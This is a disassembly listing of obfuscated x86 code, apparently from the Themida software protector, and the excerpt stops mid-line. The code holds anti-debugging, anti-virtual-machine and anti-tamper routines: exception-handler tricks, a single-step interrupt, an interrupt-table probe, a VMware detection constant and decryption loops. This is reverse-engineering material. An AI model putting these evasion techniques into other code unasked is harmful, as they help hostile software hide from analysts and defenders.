sub_57BCD9 endp ; --------------------------------------------------------------------------- retf 0B01Fh ; --------------------------------------------------------------------------- dd 7B4E51AFh, 0E9CEF2EBh, 25h, 2FB18589h, 0E2BF0628h, 835572FAh dd 850F01F8h, 11h, 0FFEB70Fh, 1CE9FBB7h, 0B000001h, 28163595h dd 0F1BFE906h, 8501FFFFh, 62824B1h, 0BD89C08Bh, 628165Dh dd 149BD83h, 75000628h, 0C5BD8309h, 62814h, 53501974h dd 0DDB8C08Bh, 89000007h, 28029185h, 5E9D8D06h, 0FF062AA5h dd 83585BD3h, 2814C5BDh, 17740006h, 0DDB85350h, 89000007h dd 28029185h, 4D9D8D06h, 0FF062AA2h, 8B585BD3h, 2834DDBDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 48F0B132h, 605AAC4Eh, 6157D680h, 0B70FC08Bh dd 0E9D68BF9h, 293h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 5EC35545h, 109AEBA3h, 359D8952h ; --------------------------------------------------------------------------- das sub [esi], al loc_57BDDB: ; CODE XREF: Themida_:0057BCC9j lea eax, [ebp+62AF7D8h] push 0 push ebp call sub_57BDEC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BDEC proc near ; CODE XREF: Themida_:0057BDE4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_57BDEC endp ; --------------------------------------------------------------------------- aas mov di, 875Dh mov [ebp+62AF9D0h], eax push ebx or cx, 0B8DAh pop ecx jmp loc_57BE84 ; --------------------------------------------------------------------------- db 0Fh dd 58Ah, 0C9816600h, 10E9CB78h, 0AE000000h, 0ABD350D0h dd 2E5E900Dh, 47B87C5Eh, 8D378231h, 2AF5E085h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 12372D5Ch, 0E92B6658h, 11h, 37A42CA1h, 0BC451003h, 78506FD1h dd 0A63430E0h, 95894096h, 62816F9h, 0F9D08589h, 9D89062Ah dd 628180Dh ; --------------------------------------------------------------------------- loc_57BE84: ; CODE XREF: Themida_:0057BE0Ej push 34h lea eax, [ebp+6281D91h] push eax push dword ptr [ebp+62AF9D0h] push 0 call dword ptr [ebp+6280DE9h] cmp eax, 7 jz loc_57C00C mov bx, ds test bl, 4 jnz loc_57BFB2 mov byte ptr [ebp+6280D25h], 56h push 9CA8B852h push dword ptr [ebp+6282DD5h] lea eax, [ebp+6283BBBh] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+62AFA43h], eax mov byte ptr [ebp+6280D25h], 47h push 0EC18AC9Bh push dword ptr [ebp+6282DD5h] lea eax, [ebp+6283BBBh] call eax call eax mov esi, eax mov byte ptr [ebp+6280D25h], 4Fh push 0C62F2661h push dword ptr [ebp+628105Dh] lea eax, [ebp+6283BBBh] call eax lea ebx, [ebp+62AFA3Fh] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+6280D25h], 41h push 0DB876498h push dword ptr [ebp+628105Dh] lea eax, [ebp+6283BBBh] call eax mov [ebp+62AFA5Ch], eax mov byte ptr [ebp+6280D25h], 4Ch push 80A4E7A4h push dword ptr [ebp+628105Dh] lea eax, [ebp+6283BBBh] call eax mov ebx, [ebp+62AFA43h] lea ebx, [ebx+4] push ebx lea ebx, [ebp+62AFA48h] push ebx push 0 call eax mov ebx, [ebp+62AFA43h] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+62824D1h] mov dword ptr [ebp+6282E45h], 0 push 0 push 0 push 0 mov ebx, [ebp+62AFA43h] push ebx push 0 push dword ptr [ebp+62AFA3Fh] call dword ptr [ebp+62AFA5Ch] loc_57BFB2: ; CODE XREF: Themida_:0057BEAAj mov byte ptr [ebp+6280D25h], 45h push 92A5F797h push dword ptr [ebp+628174Dh] lea eax, [ebp+6283BBBh] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_57C00C mov ebx, [ebp+62AFA43h] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+62AFA43h] push ebx push 0 push dword ptr [ebp+62AFA3Fh] call dword ptr [ebp+62AFA5Ch] push dword ptr [ebp+62AFA3Fh] call dword ptr [ebp+62810C1h] loc_57C00C: ; CODE XREF: Themida_:0057BE9Ej ; Themida_:0057BFD8j push 0 call dword ptr [ebp+6282EFDh] sub [ebp+62816C1h], ebx adc edi, 33160C86h jg loc_57C02C mov edi, [ebp+6283355h] loc_57C02C: ; CODE XREF: Themida_:0057C020j pusha call near ptr loc_57C033+6 pop edx loc_57C033: ; CODE XREF: Themida_:0057C02Dp sub [ecx+eax+977E13Eh], ebx xchg eax, ebp adc [ecx], ebx sub [esi], al pop edi mov eax, [ebp+6280381h] popa lea eax, [ebp+62B2E4Bh] add [ebp+62812E1h], edi push eax ja $+6 movsx ecx, si push large dword ptr fs:0 ; CODE XREF: sub_57C0F5-1Fj call near ptr loc_57C069+5 loc_57C069: ; CODE XREF: Themida_:0057C064p add edi, [ebx-761E5D29h] test [ebp+2Dh], esp sub [esi], al pop ecx mov edi, 4BF8EB23h mov large fs:0, esp mov dx, 0EF27h cmp dword ptr [ebp+6283311h], 0 jz loc_57C0FB sub edx, [ebp+6280DF1h] cmp dword ptr [ebp+6282415h], 1 jnz loc_57C0FB sub edx, [ebp+628236Dh] cmp byte ptr [ebp+62AFE5Ch], 0 jnz loc_57C0FB mov [ebp+6282F9Dh], ecx jmp loc_57C270 ; --------------------------------------------------------------------------- db 29h db 0B5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57C0F5 loc_57C0C5: ; CODE XREF: sub_57C0F5+17j jno short near ptr loc_57C0CE+2 sub [esi], al call near ptr sub_57C0DD loc_57C0CE: ; CODE XREF: sub_57C0F5:loc_57C0C5j sbb [ebp+48h], esp sub eax, 50B09A8Bh jnb short near ptr loc_57C05D+1 pop edi xor al, 77h clc xchg eax, ebx ; END OF FUNCTION CHUNK FOR sub_57C0F5 ; =============== S U B R O U T I N E ======================================= sub_57C0DD proc far ; CODE XREF: sub_57C0F5-2Cp call sub_57C0F5 xchg ax, cx dec eax fstp1 st(6) retf sub_57C0DD endp ; --------------------------------------------------------------------------- dd 9D9E585Ah, 0BDE20A1Ch, 0FD5BD465h db 1Dh ; =============== S U B R O U T I N E ======================================= sub_57C0F5 proc near ; CODE XREF: sub_57C0DDp ; FUNCTION CHUNK AT 0057C0C5 SIZE 00000018 BYTES mov cx, 0A17Eh pop edx pop edx loc_57C0FB: ; CODE XREF: Themida_:0057C08Cj ; Themida_:0057C09Fj ... xor ebx, ebx call near ptr loc_57C10E+4 xor ebp, 0FFFFFFE1h cld xor al, 12h pop es and ah, [edx] scasd jnb short loc_57C0C5 loc_57C10E: ; CODE XREF: sub_57C0F5+8p fst dword ptr [ebx-77F0F616h] sub_57C0F5 endp ; sp-analysis failed adc eax, 0E8000000h sldt word ptr [eax] add [eax+esi], cl inc eax cmp bh, ah daa xor [edx+43h], esp push 4Ah clc insb cmc mov ah, 5Ah pop edi mov dh, 53h xor eax, eax mov ecx, eax inc eax ; --------------------------------------------------------------------------- db 0Fh, 3Fh, 7 dd 58F640Bh, 0 ; --------------------------------------------------------------------------- add esp, 4 sub di, 0E28Ch mov ch, al sub [ebp+6282EC5h], edi cmp ebx, 0FFFFFFFFh jz loc_57C168 mov dx, 5D69h jmp loc_57C266 ; --------------------------------------------------------------------------- mov edi, [ebp+62804A9h] loc_57C168: ; CODE XREF: Themida_:0057C153j jmp loc_57C1F1 ; --------------------------------------------------------------------------- push 0 push ebp call sub_57C178 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C178 proc near ; CODE XREF: Themida_:0057C170p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_57C178 endp ; --------------------------------------------------------------------------- pop edi push 0FFFFFFCEh xor di, 0DD70h mov ecx, [esp+0Ch] mov dword ptr [ecx+0A4h], 0FFFFFFFFh add dword ptr [ecx+0B8h], 4 xor eax, eax retn ; --------------------------------------------------------------------------- mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 62B2E6Dh mov eax, [ebx+0B8h] lea eax, [ebp+62B2F2Bh] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- mov [ebp+6282409h], edi mov edi, 522A15DFh mov edi, [ebp+6280701h] jmp loc_57C1F1 ; --------------------------------------------------------------------------- db 18h, 5Ah, 77h dd 1C0FF0CEh, 0E3B72DDCh db 0EBh ; --------------------------------------------------------------------------- loc_57C1F1: ; CODE XREF: Themida_:loc_57C168j ; Themida_:0057C1E0j lea eax, [ebp+62B2E63h] mov ecx, [ebp+628126Dh] push eax mov cl, dl push large dword ptr fs:0 mov large fs:0, esp push 0 push ebx call sub_57C219 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C219 proc near ; CODE XREF: Themida_:0057C211p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_57C219 endp ; --------------------------------------------------------------------------- db 0E4h, 88h, 0AAh dd 21A19589h, 8B0F0628h, 6, 3325BD0Bh, 0AB90628h, 0B8000000h dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h dd 345FE8EAh, 0FB81ED00h, 564D5868h ; --------------------------------------------------------------------------- jnz short loc_57C270 loc_57C266: ; CODE XREF: Themida_:0057C15Dj mov dword ptr [ebp+6281E55h], 1 loc_57C270: ; CODE XREF: Themida_:0057C0BEj ; Themida_:0057C264j pop large dword ptr fs:0 add esp, 4 mov [ebp+6281735h], edx push ecx movzx edi, dx pop edi mov eax, eax mov [ebp+6280109h], edi cmp dword ptr [ebp+6280149h], 0 jnz short loc_57C29F cmp dword ptr [ebp+62814C5h], 0 jz short loc_57C2B8 loc_57C29F: ; CODE XREF: Themida_:0057C294j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6282E55h], eax lea ebx, [ebp+62AA5C5h] call ebx pop ebx pop eax loc_57C2B8: ; CODE XREF: Themida_:0057C29Dj cmp dword ptr [ebp+62814C5h], 0 jz short loc_57C2D8 push eax push ebx mov eax, 43Dh mov [ebp+6282E55h], eax lea ebx, [ebp+62AA266h] call ebx pop ebx pop eax loc_57C2D8: ; CODE XREF: Themida_:0057C2BFj jmp loc_57C2E4 ; --------------------------------------------------------------------------- db 0E6h, 0F3h, 12h dd 8009853Ch ; --------------------------------------------------------------------------- loc_57C2E4: ; CODE XREF: Themida_:loc_57C2D8j pusha pusha adc bx, 967Ah jnz $+6 popa stc popa mov ecx, 34D8E97Ah mov eax, eax jmp loc_57C447 ; --------------------------------------------------------------------------- dd 4, 31392E31h, 30h, 6 dup(0) db 0 align 2 aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_57C447: ; CODE XREF: Themida_:0057C2FBj cmp dword ptr [ebp+62803D1h], 0 jz loc_57C581 lea eax, [ebp+62AA07Dh] push eax lea eax, [ebp+62A9FE7h] push eax push 80000001h call dword ptr [ebp+62AA08Dh] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FC5h] push eax push 0 push 0 lea eax, [ebp+62A9FFBh] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FC9h] push eax push 0 push 0 lea eax, [ebp+62AA00Dh] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FD5h] push eax push 0 push 0 lea eax, [ebp+62AA05Ah] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FDDh] push eax push 0 push 0 lea eax, [ebp+62AA078h] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FD9h] push eax push 0 push 0 lea eax, [ebp+62AA061h] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FCDh] push eax push 0 push 0 lea eax, [ebp+62AA069h] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] lea eax, [ebp+62B2FBBh] push eax lea eax, [ebp+62B2FD1h] push eax push 0 push 0 lea eax, [ebp+62AA070h] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+6281F69h] push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+628203Dh] jmp loc_57C623 ; --------------------------------------------------------------------------- loc_57C581: ; CODE XREF: Themida_:0057C44Ej cmp dword ptr [ebp+6283431h], 0 jz loc_57C623 cmp dword ptr [ebp+6282415h], 0 jnz loc_57C5AC mov edx, [ebp+62805D1h] add edx, 1CF8h jmp loc_57C5BB ; --------------------------------------------------------------------------- loc_57C5AC: ; CODE XREF: Themida_:0057C595j lea edx, [ebp+6280561h] mov edx, [edx+34h] add edx, 3BD4C340h loc_57C5BB: ; CODE XREF: Themida_:0057C5A7j mov [ebp+6280D09h], edx cmp dword ptr [ebp+6280D09h], 0 jz loc_57C623 mov ebx, [ebp+6280D09h] add ebx, 4Ch mov eax, [ebx] mov [ebp+62B2FC5h], eax mov ebx, [ebp+6280D09h] add ebx, 50h mov eax, [ebx] mov [ebp+62B2FC9h], eax mov ebx, [ebp+6280D09h] add ebx, 54h mov eax, [ebx] mov [ebp+62B2FD5h], eax mov ebx, [ebp+6280D09h] add ebx, 58h mov eax, [ebx] mov [ebp+62B2FD9h], eax mov ebx, [ebp+6280D09h] add ebx, 5Ch mov eax, [ebx] mov [ebp+62B2FCDh], eax loc_57C623: ; CODE XREF: Themida_:0057C57Cj ; Themida_:0057C588j ... cmp dword ptr [ebp+62803D1h], 0 jnz loc_57C63D cmp dword ptr [ebp+6283431h], 0 jz loc_57C6A5 loc_57C63D: ; CODE XREF: Themida_:0057C62Aj push dword ptr [ebp+62B2FDDh] push dword ptr [ebp+62B2FD1h] push dword ptr [ebp+62B2FCDh] push dword ptr [ebp+62B2FD9h] push dword ptr [ebp+62B2FD5h] push dword ptr [ebp+62B2FC9h] push dword ptr [ebp+62B2FC5h] lea eax, [ebp+62B2FBFh] push eax lea eax, [ebp+62B2FF7h] push eax lea eax, [ebp+6282FD5h] push eax call dword ptr [ebp+6280DF5h] add esp, 24h push 40h lea eax, [ebp+62B2FE1h] push eax lea eax, [ebp+6282FD5h] push eax push 0 call dword ptr [ebp+6280DE9h] push 1 call dword ptr [ebp+6282EFDh] loc_57C6A5: ; CODE XREF: Themida_:0057C637j mov eax, ecx jmp short loc_57C6C1 ; --------------------------------------------------------------------------- db 17h, 0F3h, 46h dd 9Bh, 4 dup(0) db 0 ; --------------------------------------------------------------------------- loc_57C6C1: ; CODE XREF: Themida_:0057C6A7j jmp loc_57C8D1 ; --------------------------------------------------------------------------- loc_57C6C6: ; CODE XREF: Themida_:0057C6DBj pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 62B338Bh popa retn 4 ; --------------------------------------------------------------------------- jmp loc_57C6C6 ; --------------------------------------------------------------------------- loc_57C6E0: ; CODE XREF: Themida_:0057C6E5j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C6E0 ; --------------------------------------------------------------------------- loc_57C6EA: ; CODE XREF: Themida_:0057C6EFj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C6EA ; --------------------------------------------------------------------------- loc_57C6F4: ; CODE XREF: Themida_:0057C6F9j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C6F4 ; --------------------------------------------------------------------------- loc_57C6FE: ; CODE XREF: Themida_:0057C703j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C6FE ; --------------------------------------------------------------------------- align 10h loc_57C710: ; CODE XREF: Themida_:0057C713j pusha popa retn ; --------------------------------------------------------------------------- jmp loc_57C710 ; --------------------------------------------------------------------------- mov esi, [ebp+62B33C3h] and esi, 0FFFFF000h jmp loc_57C734 ; --------------------------------------------------------------------------- loc_57C729: ; CODE XREF: Themida_:0057C73Aj call sub_57C747 add esi, 1000h loc_57C734: ; CODE XREF: Themida_:0057C724j cmp esi, [ebp+62B33C7h] jbe loc_57C729 mov eax, cr3 mov cr3, eax iret ; =============== S U B R O U T I N E ======================================= sub_57C747 proc near ; CODE XREF: Themida_:loc_57C729p pusha popa retn sub_57C747 endp ; --------------------------------------------------------------------------- loc_57C74A: ; CODE XREF: Themida_:0057C776j push eax mov ax, cs and al, 3 or al, al jz loc_57C771 push eax push ebx mov ebx, 2 mov eax, [ebp+6280D09h] loc_57C765: ; CODE XREF: Themida_:0057C769j xchg bl, [eax] or bl, bl jnz loc_57C765 pop ebx pop eax loc_57C771: ; CODE XREF: Themida_:0057C752j pop eax inc dword ptr [esp] retn ; --------------------------------------------------------------------------- jmp loc_57C74A ; --------------------------------------------------------------------------- db 50h dd 82474FFh, 2F2995FFh, 0F500628h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 280D0985h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 9858B00h, 8606280Dh, 0FDB0A18h, 0FFFFF685h, 6D85C7FFh dd 62829h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 296D85C7h, 1000628h, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_57C8D1: ; CODE XREF: Themida_:loc_57C6C1j mov ax, ds test al, 4 jz loc_57C905 mov dword ptr [ebp+62B3368h], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+62B336Ch] lea eax, [ebp+62B3364h] lea edi, [ebp+62B336Ch] mov [eax], edi jmp loc_57C928 ; --------------------------------------------------------------------------- loc_57C905: ; CODE XREF: Themida_:0057C8D6j lea eax, [ebp+6280561h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+62B3364h], eax lea eax, [ebp+6280561h] mov eax, [eax+3Ch] mov [ebp+62B3368h], eax loc_57C928: ; CODE XREF: Themida_:0057C900j lea eax, [ebp+62B3381h] mov [ebp+6282F29h], eax jmp loc_57C9C0 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57C954 ; --------------------------------------------------------------------------- loc_57C94D: ; CODE XREF: Themida_:0057C956j add [esi], al xor [esi], al ror eax, 1 inc esi loc_57C954: ; CODE XREF: Themida_:0057C948j cmp esi, edi jb loc_57C94D popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57C97C ; --------------------------------------------------------------------------- loc_57C975: ; CODE XREF: Themida_:0057C97Ej xor [esi], al sub [esi], al ror eax, 1 inc esi loc_57C97C: ; CODE XREF: Themida_:0057C970j cmp esi, edi jb loc_57C975 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_57C9AF ; --------------------------------------------------------------------------- loc_57C99C: ; CODE XREF: Themida_:0057C9B1j lodsb cmp al, 2Dh jz loc_57C9AF add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_57C9AF: ; CODE XREF: Themida_:0057C997j ; Themida_:0057C99Fj or ecx, ecx jnz loc_57C99C mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_57C9C0: ; CODE XREF: Themida_:0057C934j lea eax, [ebp+62B35F4h] mov [ebp+6281F95h], eax lea eax, [ebp+62B361Ch] mov [ebp+6281FD9h], eax lea eax, [ebp+62B3644h] mov [ebp+6280531h], eax pusha jp loc_57C9F5 pusha mov edi, 0E50C0A0h movzx ebx, si popa loc_57C9F5: ; CODE XREF: Themida_:0057C9E5j mov eax, eax cmp dword ptr [ebp+6280149h], 0 jnz short loc_57CA09 cmp dword ptr [ebp+62814C5h], 0 jz short loc_57CA22 loc_57CA09: ; CODE XREF: Themida_:0057C9FEj push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6280291h], eax lea ebx, [ebp+62AA55Eh] call ebx pop ebx pop eax loc_57CA22: ; CODE XREF: Themida_:0057CA07j cmp dword ptr [ebp+62814C5h], 0 jz short loc_57CA42 push eax push ebx mov eax, 40Eh mov [ebp+6280291h], eax lea ebx, [ebp+62AA24Dh] call ebx pop ebx pop eax loc_57CA42: ; CODE XREF: Themida_:0057CA29j mov si, ax mov cx, 883Dh mov eax, eax and dh, 0ACh cmp dword ptr [ebp+6283311h], 0 jz loc_57CA98 push 0 push edi call sub_57CA66 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CA66 proc near ; CODE XREF: Themida_:0057CA5Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_57CA66 endp ; --------------------------------------------------------------------------- cmc add [ebp-16h], edx fucomi st, st push cs mov ch, 66h xor edx, 86E9D7CFh add al, [eax] add [edi], cl or dword ptr [edx], 60000000h mov dx, 0CC14h mov bx, 95C7h popa loc_57CA98: ; CODE XREF: Themida_:0057CA55j mov edi, ds jmp loc_57CAAD ; --------------------------------------------------------------------------- db 0F3h dd 0E784709Fh, 0B1CAF71Fh, 0E433BDF8h db 0E7h ; --------------------------------------------------------------------------- loc_57CAAD: ; CODE XREF: Themida_:0057CA9Aj jp loc_57CABA push edi add cx, 6B46h pop ecx loc_57CABA: ; CODE XREF: Themida_:loc_57CAADj test di, 4 jnz loc_57CD0E push 0 push eax call sub_57CAD0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CAD0 proc near ; CODE XREF: Themida_:0057CAC8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_57CAD0 endp ; --------------------------------------------------------------------------- dd 0D2F32659h, 0F5840072h, 12B1BD83h, 0F000628h, 0B85h dd 15C98000h, 211E9h, 0CA8B6600h, 6AFF2Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 9A23B5C3h dd 37A17998h, 8143B276h, 8F33B5DAh, 7F9D8D4Ah, 0E9062B39h dd 6, 0B95A5241h, 0D38BB68Bh, 0A830F93h, 50000000h, 0F616052h dd 5A616031h, 0BE665058h, 6A93B857h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6241C355h dd 7D782333h, 2689E7BAh, 35FF6453h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_57CB8F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CB8F proc near ; CODE XREF: Themida_:0057CB87p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_57CB8F endp ; --------------------------------------------------------------------------- mov bh, 9Ah les ebx, [eax+58h] mov word ptr [eax], cs rol ebx, cl push ecx sbb si, 0E131h pop ecx movzx edx, dx mov large fs:0, esp mov dx, di mov eax, esp adc ecx, 177B3C67h int 1 ; - internal hardware - SINGLE-STEP ; generated at end of each machine instruction if TF bit in FLAGS is set jmp short $+2 cld push 0 push eax call sub_57CBD4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CBD4 proc near ; CODE XREF: Themida_:0057CBCCp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_57CBD4 endp ; --------------------------------------------------------------------------- cwde inc edi push ecx push ss shr dword ptr [edx+64E51D28h], 8Fh add eax, 0 push 0 push ecx call sub_57CBFF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CBFF proc near ; CODE XREF: Themida_:0057CBF7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_57CBFF endp ; --------------------------------------------------------------------------- db 62h dd 9FB966F3h, 4C483A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 11C35747h, 858510C3h, 6860FF8h, 81000000h dd 47127ACAh, 0FC00B53h, 0C184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0E37094B5h dd 0CE8166B2h, 0FE8FD7Bh, 52000000h, 0CAB74ED5h, 0D5639771h dd 8D980E95h, 0F28BB140h, 0BD8D615Eh, 62873C4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F9C35242h, 0D46E0CE8h dd 974BF0CAh, 1B84AB6h, 0BE000000h, 5120D845h, 0F78BE7FFh dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D6ED1BC3h dd 96DBA63h, 53507391h ; --------------------------------------------------------------------------- pop edx pop edx loc_57CD0E: ; CODE XREF: Themida_:0057CABFj popa mov edx, 29705F79h mov eax, eax mov ch, bl cmp dword ptr [ebp+6280149h], 0 jnz short loc_57CD2A cmp dword ptr [ebp+62814C5h], 0 jz short loc_57CD43 loc_57CD2A: ; CODE XREF: Themida_:0057CD1Fj push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6282E55h], eax lea ebx, [ebp+62AA5C5h] call ebx pop ebx pop eax loc_57CD43: ; CODE XREF: Themida_:0057CD28j cmp dword ptr [ebp+62814C5h], 0 jz short loc_57CD63 push eax loc_57CD4D: ; CODE XREF: Themida_:0057CDC0j push ebx mov eax, 40Eh mov [ebp+6282E55h], eax lea ebx, [ebp+62AA266h] call ebx pop ebx pop eax loc_57CD63: ; CODE XREF: Themida_:0057CD4Aj push 0 push ebx call sub_57CD6E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CD6E proc near ; CODE XREF: Themida_:0057CD66p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_57CD6E endp ; --------------------------------------------------------------------------- fdiv qword ptr [ebx] jnz short loc_57CDC2 mov [esi-7Fh], esp retn 412Fh ; --------------------------------------------------------------------------- dd 8B0FF180h, 0ADC280C0h, 6E8C28Bh, 0E1000000h, 59D71B0h dd 0E709BF5Fh, 81582449h, 9EFD8DCFh, 6CC08103h, 0E9000066h dd 6, 11126661h, 0DB339192h, 1DE18166h ; --------------------------------------------------------------------------- loop loc_57CD4D ; CODE XREF: Themida_:0057CE49j loc_57CDC2: ; CODE XREF: Themida_:0057CD80j xor al, 18h mov cx, 6E29h sub esi, 408DEBE7h sbb dl, 0F3h xor esi, 506CCC42h movzx edx, dx xor esi, 7D5B49F6h movsx edi, cx mov [eax+ebx], esi pusha pusha or bh, 0A7h mov ch, 30h popa loc_57CDEE: ; CODE XREF: Themida_:0057CE20j jbe loc_57CDF8 mov dx, 8A76h loc_57CDF8: ; CODE XREF: Themida_:loc_57CDEEj popa jmp loc_57CE0D ; --------------------------------------------------------------------------- dw 44A5h dd 0A95526E3h, 59532F6h, 0F2366F07h ; --------------------------------------------------------------------------- stosd loc_57CE0D: ; CODE XREF: Themida_:0057CDF9j sub ebx, 4 jmp loc_57CE22 ; --------------------------------------------------------------------------- db 0F3h, 0ACh, 49h dd 0E2FB7992h, 4FD60C4h ; --------------------------------------------------------------------------- loopne loc_57CDEE loc_57CE22: ; CODE XREF: Themida_:0057CE10j cmp ebx, 0FFFF9A4Ch jnz loc_57CE42 mov edi, ebx jmp loc_57CE53 ; --------------------------------------------------------------------------- sbb eax, 0A1401DA5h clc or eax, 8ADB7C6Fh push es xchg eax, edx loc_57CE42: ; CODE XREF: 